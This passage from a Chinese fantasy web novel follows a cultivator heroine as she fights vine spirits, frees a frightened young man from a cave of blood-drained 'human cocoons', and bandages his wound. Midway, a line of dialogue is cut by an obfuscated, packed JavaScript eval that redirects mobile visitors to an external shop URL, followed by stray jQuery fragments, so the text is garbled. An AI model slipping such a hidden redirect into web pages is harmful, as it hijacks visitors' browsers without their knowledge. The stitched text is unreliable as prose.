倏忽间,又苦又涩的气味伴随着窸窸窣窣的声响从四面八方扑压而来。
苦涩味越浓,声音也越发明显、杂乱,像是野兽在四处攀爬,摩擦着土地和杂草……
压抑笼罩周身,南宫亦书一回头,无数的绿色藤蔓直立而起,形成攻击之势。
南宫亦书挑下眉,目光冰冷异常。
在藤蔓扑来的同一时间,红伞现手,蓝紫色交织的光芒缠绕着绿色藤蔓,干净利落地将它们切割成无数小截。
一根藤蔓趁机缠上南宫亦书的脚踝,南宫亦书合上伞,以用剑姿势将伞端用力向下扎去,斩断藤蔓。
另一端的藤蔓立刻向后面缩了回去。
绿色的粘液喷涌而出,好在南宫亦书躲避迅速,并没有喷溅到身上。
南宫亦书看了眼灵伞心想,还是用“剑”好使。
藤蔓褪去,只留下满地绿色的散发着苦涩气味的粘液。
比腐尸还恶心,南宫亦书微微敛眉,望向藤蔓褪去的方向,双目蒙上了一层冷意。
避开地上恶心的液体,南宫亦书追了上去。
进入丛林深处,南宫亦书更加谨慎,观察和聆听着周围的一切,毕竟藤蔓是否会卷土重来也未可知。
顺着地上的绿液托痕,南宫亦书来到一个山洞——一个被藤蔓彻底覆盖的山洞。
进入山洞,入目满地白骨。
滴答滴答……
暗红色浊液拉成细线,滴落在那些白骨上。
南宫亦书朝着细线上端看去,神情有一瞬间的惊愕,整个山洞顶部悬挂着密密麻麻的红“蛹”——是用藤蔓紧紧包裹而成的“人蛹”。
藤蔓蜿蜒,柔软又坚韧,紧紧依附在岩壁和人体上。
南宫亦书粗略打量了一遍“人蛹”,视线最终停留在其中一个绿色“人蛹”上。
正要出手,山洞开始剧烈震动,无数藤蔓从山壁上爬下来,交织纠缠形成一个巨大的网,铺天盖地而来。
有了不久前的交手,藤蔓好像变聪明了,不再攻击南宫亦书,转而攻击她手中的伞。
相比灵剑,灵伞更似防御武器。在藤蔓的缠绕拉扯下,也有些力不足。
眼看那个绿色“人蛹”一点点变红,南宫亦书闭了眼,周身灵力不断聚集于手中,然后一掌击上伞柄,灵力通过伞柄源源不断涌向伞面。
光芒照耀,南宫亦书手握伞柄,于空中旋转,手中的伞也跟着转动,最后灵伞脱手而出,横扫藤蔓,无数绿块砸向地面,又是一颤。
趁藤蔓暂时退下,南宫亦书划断挂在洞顶的藤蔓。
人蛹没有支撑,向下翻滚几圈就在快要砸在地上的时候,南宫亦书眼疾手快一手拽住它。
同一时间,地面开始剧烈震动,响起巨大的碰撞声,藤蔓倾巢而出,南宫亦书顾不得其他,拖着人蛹就往山洞外跑。
后面的藤蔓很快又跟了上来,不过换了另一种方式——
轰轰轰……
唰唰唰……
狭窄阴暗的森林,道路两旁的树木极速向中聚拢,然后擦身而过,树枝相互碰撞的啪啪作响,刹那间,道路消失,树木紧罗密布的排列在一起。
一条条盘根错杂的藤蔓,攀附、缠绕、盘卧、爬行……不断向上,不断纠缠,直至与树木紧密相拥,结为一体,形成一个天然的树墙,直入云霄……
道路两旁的树木藤蔓还在继续向中聚集,南宫亦书拖拽着柳潭向前跑着。一晃神,没有注意地上突然出现了一条裂缝,脚下骤然失重掉入进去。
在南宫亦书掉入裂缝后,树木藤蔓像是完成任务一般,快速分开回归原位。
风静树止,一片宁静,犹如什么也没发生过。
原是裂缝,但广阔无垠。
昏暗中南宫亦书摸索着找到柳潭,尝试着去扯开缠绕着的藤蔓,没有成功。
她再次想念了自己的剑,于是以伞作剑,如劈波斩浪一般除去柳潭身上的缠绕的藤蔓,露出柳潭铁青的脸。
见柳潭一副“死人”样,南宫亦书睫羽眨动,忽而眸光一亮,啪啪几巴掌扇在柳潭脸上。
不得不说,还挺有用。
刚扇完,柳潭的嘴角就流出绿色的粘液,南宫亦书连忙起身向后退了几步。
接着柳潭浑身急剧颤抖,猛地睁开眼睛,“呕”地吐了一地绿液。
柳潭眼睛瞪得极大,眼底透露出对死亡的恐惧之色和绝望之意,在看到南宫亦书后,眼中又闪现出难以言喻的感动。
“呜呜呜……仙人!”
柳潭满嘴的绿色液体,随着他说话的时候从嘴角滑落,有些落到地上,有的顺着脖子染绿了衣襟。
在柳潭扑向自己的前一秒,南宫亦书制止了他。
“不许碰我!”
南宫亦书的语气太过冷漠,柳潭也是一惊,张开的手臂伸也不是,放也不是,就定在那里。
气氛忽地凝固,只能听见细微的呼吸声。
说起来两人也相处了一个时辰,柳潭还是第一次见她眼神这样冷漠,如腊月寒冰。
南宫亦书上下打量一遍柳潭,然后面无表情地转身不去看他,仿佛多看一眼都脏了眼睛。
缓了一会儿,也许是太害怕,也许是被南宫亦书的眼神伤到,柳潭开始嚎啕大哭。
“呜……仙人,我就知道你会来救我。刚才真的吓死我了……呜呜呜。”
“别嚎了。”
嚎的脑仁疼。
“可是、可是我就是忍、不、住!啊哈……我方才真的以为我要死了,不对,我刚真的死了,我看到了一个桥,差点儿就踏上去了!呜呜呜呜……幸好,幸好你来了!要是我真的踏上那个桥是不是就真的死了!好可怕!差一点儿,就差那么一点点,我就死了……”
现在南宫亦书对柳潭的印象除了胆小如鼠,哭哭啼啼,还多了一个——声如洪钟。
柳潭惊魂未定,就坐在地上大哭,南宫亦书实在没办法,为了自己的耳朵只好说道:“你再哭下去,小心又把那东西给引来。”
就目前的情况藤蔓应该不会再攻击他们,但不排除会不会有其他东西,毕竟这一路的遭遇让南宫亦书不得不更加谨慎。
柳潭马上噤了声,只是瘪着嘴,留下声如蚊蚋的呜咽声。
反应了一小会儿,柳潭思绪才慢慢回笼,伸了伸腿,从地上爬起来。
“仙人,所以那东西到底是什么?”
“不出意外的话是藤蔓精。”
“精……精怪?!!!这里还真有邪祟啊!”柳潭大惊失色,“难怪那么坚韧,我用了全身力气只揪下一片叶子。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162049|150418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
南宫亦书想起枯草中掉落的那片绿叶,看了眼柳潭。
也还好……没有看上去那么傻。
……如果不哭的话。
柳潭不知道自己在南宫亦书心里的评价刚上一度又瞬间跌落下来,抹了抹眼泪问道:“仙人,你刚刚……是生气了吗?”
南宫亦书斜睨了柳潭一眼:“真当自己是什么香饽饽。”
柳潭低头看了眼自己,绿色粘液浸透衣衫,让本就狼狈的他看上去要多恶心有多恶心。
好吧,确实不是香饽饽,就他现在这个样子亲爹都未必认得出。如果方才仙人没有阻止他的话,说不定他就真的抱上了她的大腿。
现在回想,多少有些冒昧,毕竟男女授受不亲,仙人不高兴也是情理之中。
南宫亦书见柳潭一直不说话,垂头思索的样子,认真问道:“所以你做什么了,惊动了它们?”
柳潭认真回想,也没有做什么呀。而且借他十个胆子,他也不敢做什么。
南宫亦书也没指望他说出什么,于是不再问。
离藤蔓越远,空气中的苦涩味渐淡,而一股血腥味钻入南宫亦书的鼻尖,来源便是柳潭。
“你受伤了。”
柳潭以为对方是问自己有没有摔伤,随口一说:“呃……就摔了一跤,不严重。”
南宫亦书显然不相信:“不严重还在流血。”
柳潭再次从南宫亦书的眼神中体会到了什么叫做看傻子的目光。
柳潭摊开手掌一看,左手赫然出现一道伤口,占据半个手掌,鲜红的液体从血肉中争先恐后地涌出。
“咦呀啊啊啊……怎么会这样,我会不会因为流血流光而死啊?”
南宫亦书算是知道山洞里那些“人蛹”滴下的暗红色浊液是什么了,都是那些人的血。而藤蔓的苦涩味掩盖住血液的味道,所以她没有察觉。
南宫亦书撕下一块布料递给柳潭:“包起来。”
柳潭接过布料目光缓慢落到南宫亦书身上,那一尘不染的衣裙上霍然缺了一角。
“愣着干什么?”
“噢!”
柳潭笨拙地用布料把左手缠裹起来。
“所以那藤蔓精是因为我的血才绑架我的。”
“……”也可以这么说。
“这里错综复杂,不知道还有什么,后面谨慎一些,尽量不要再受伤。”南宫亦书不忘叮嘱说。
柳潭小狗似的点头。
“对了仙人,我刚刚醒来的时候入目一片红色,那些是什么?”
“人蛹。”
“……活的还是,死的?”
“血都被吸光了,能活着才是见了鬼。”
柳潭听后狂扇自己嘴巴,让你多嘴问。
虽然如此,但好奇心驱使着他继续问:“那这么多‘人蛹’你是怎么找到我的?”
这次,南宫亦书没有回答。
柳潭自言自语道:“难道是因为我与生俱来的贵气?还是我英俊的脸庞?亦或是……”
南宫亦书:“……”
南宫亦书能在那些“人蛹”里快速锁定柳潭并不难。
满洞顶的红色“人蛹”,只有一个绿色中带点儿粉色的“人蛹”,异常引人注目。
想一想,应该是他了。